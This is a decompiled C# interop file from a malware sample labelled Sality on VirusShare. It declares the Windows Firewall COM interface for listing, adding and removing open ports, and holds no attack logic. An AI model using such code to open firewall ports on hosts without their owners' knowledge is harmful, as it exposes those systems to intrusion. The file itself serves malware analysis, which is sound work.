// Decompiled with JetBrains decompiler // Type: INetFwOpenPorts // Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe using System.Collections; using System.Runtime.InteropServices; [TypeLibType(4160)] [Guid("C0E9D7FA-E07E-430A-B19A-090CE82D92E2")] [ComImport] public interface INetFwOpenPorts : IEnumerable { [DispId(1)] int Count { [DispId(1)] get; } [DispId(2)] void Add([MarshalAs(UnmanagedType.Interface), In] INetFwOpenPort Port); [DispId(3)] void Remove([In] int portNumber, [In] NET_FW_IP_PROTOCOL_ ipProtocol); [DispId(4)] [return: MarshalAs(UnmanagedType.Interface)] INetFwOpenPort Item([In] int portNumber, [In] NET_FW_IP_PROTOCOL_ ipProtocol); [DispId(-4)] [TypeLibFunc(1)] [return: MarshalAs(UnmanagedType.CustomMarshaler)] new IEnumerator GetEnumerator(); }